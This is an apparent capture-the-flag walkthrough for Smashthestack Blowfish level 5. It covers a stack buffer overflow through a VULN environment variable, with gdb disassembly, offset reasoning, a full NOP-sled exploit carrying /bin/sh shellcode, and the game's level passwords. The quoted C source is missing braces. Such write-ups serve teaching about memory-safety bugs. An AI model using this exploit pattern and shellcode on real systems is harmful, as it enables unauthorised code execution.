Smashthestack Blowfish Level 05

To enter this level we have to ssh with password yummy_bluntz:

$ssh -p2222
password: yummy_bluntz

     1. Thou shalt NOT root or otherwise harm the box.
     2. Thou shalt NOT access any other network from this box.
     3. Thou shalt NOT use any other directory besides /tmp or /code for code. 
     4. Thou shalt give the root pass to l3thal if you manage to change it.

     Passwords are in /pass.
     There is a README in each users home directory.
     /tmp && /var/tmp will be flushed daily by cron.
     Use /code plz for umm, code ;D
     IF YOU LEAVE FILES IN /levels/tmp U SUCK ..plz remove them kthnx! ;D
     The password for the last level will get you into
     Tux, the more advanced wargame. Join #blowfish on with any questions. 

     Admins - l3thal && cr 


Last login: Thu Jan 28 23:09:50 2010 from

 This level is another stack overflow in /levels/level5.
 Exploit to get the level6 pass from /pass/level6.

Again, we have to exploit a buffer-overflow.

Analyzing the source code

#include <stdio.h>
int main()
    char buffer[1024];
    if (getenv("VULN") == NULL) {
        fprintf(stderr,"Try Again!!\n");
    strcpy(buffer, (char *)getenv("VULN"));
    printf("Environment variable VULN is:\n\"%s\".\n\n", buffer);
    return 0;

Basically we have the exact same case of level 4, but with
a 1024 byte buffer and instead of using the first argument we are using an environmental variable.

So, first of all we set the environmental variable to something:

level5@blowfish:/$ export VULN=$(python -c "print '\x90'*1040")

Analyzing the binary with gdb

Discovering buffer's address

We set up a breakpoint in in the strcpy function call to determine the buffer's address.

(gdb) set dis intel
(gdb) disass main
Dump of assembler code for function main:
0x08048484 <main+0>:    push   ebp
0x08048485 <main+1>:    mov    ebp,esp
0x08048487 <main+3>:    sub    esp,0x418
0x0804848d <main+9>:    and    esp,0xfffffff0
0x08048490 <main+12>:    mov    eax,0x0
0x08048495 <main+17>:    sub    esp,eax
0x08048497 <main+19>:    mov    DWORD PTR [esp],0x8048640
0x0804849e <main+26>:    call   0x8048364 <getenv@plt>
0x080484a3 <main+31>:    test   eax,eax
0x080484a5 <main+33>:    jne    0x80484c8 <main+68>
0x080484a7 <main+35>:    mov    DWORD PTR [esp+0x4],0x8048645
0x080484af <main+43>:    mov    eax,ds:0x804979c
0x080484b4 <main+48>:    mov    DWORD PTR [esp],eax
0x080484b7 <main+51>:    call   0x8048354 <fprintf@plt>
0x080484bc <main+56>:    mov    DWORD PTR [esp],0x1
0x080484c3 <main+63>:    call   0x8048394 <exit@plt>
0x080484c8 <main+68>:    mov    DWORD PTR [esp],0x8048640
0x080484cf <main+75>:    call   0x8048364 <getenv@plt>
0x080484d4 <main+80>:    mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+84>:    lea    eax,[ebp-0x408]
0x080484de <main+90>:    mov    DWORD PTR [esp],eax
0x080484e1 <main+93>:    call   0x80483a4 <strcpy@plt>
0x080484e6 <main+98>:    lea    eax,[ebp-0x408]
0x080484ec <main+104>:    mov    DWORD PTR [esp+0x4],eax
0x080484f0 <main+108>:    mov    DWORD PTR [esp],0x8048660
0x080484f7 <main+115>:    call   0x8048384 <printf@plt>
0x080484fc <main+120>:    mov    eax,0x0
0x08048501 <main+125>:    leave  
0x08048502 <main+126>:    ret    
End of assembler dump.
(gdb) break *0x080484e1
Breakpoint 1 at 0x80484e1

We run the code and see what the eax register has when we get to the breakpoint.

(gdb) r
Starting program: /levels/level5 

Breakpoint 1, 0x080484e1 in main ()
(gdb) i r
eax            0xbfffd080    -1073753984
ecx            0x4e    78
edx            0x0    0
ebx            0x3efff4    4128756
esp            0xbfffd070    0xbfffd070
ebp            0xbfffd488    0xbfffd488
esi            0x8048510    134513936
edi            0x80483c0    134513600
eip            0x80484e1    0x80484e1 <main+93>
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

As everyone can see we have the buffer's address in 0xbfffd080.

Discovering the main's return point

We do just like in the previous level but instead of changing the parameter we change the environmental variable.

If we set up the environmetal variable to a string of 1038 bytes length we overwrite the 2 first bytes of the return
address, so we have to write our shell in 1036 bytes and after that put the buffer's address.


We are using the same shellcode as the previous level.


Exploiting the binary

So, we have to put 998(1036 - 38) bytes of \x90 for padding, then the shellcode and after that the return address, or somewhere in the middle
of those NOPs(\x90) just in case it varies in the real environment.
And then run the program.

level5@blowfish:~$ export VULN=$(python -c "print '\x90'*998 + '\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh' + '\x90\xd0\xff\xbf'")
level5@blowfish:~$ /levels/level5
Environment variable VULN is:


We have shell, now we just have to read the the password:

sh-3.2$ cat /pass/level6

The password is ur_so_l33t. See you on level 6, tutorial here.

Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License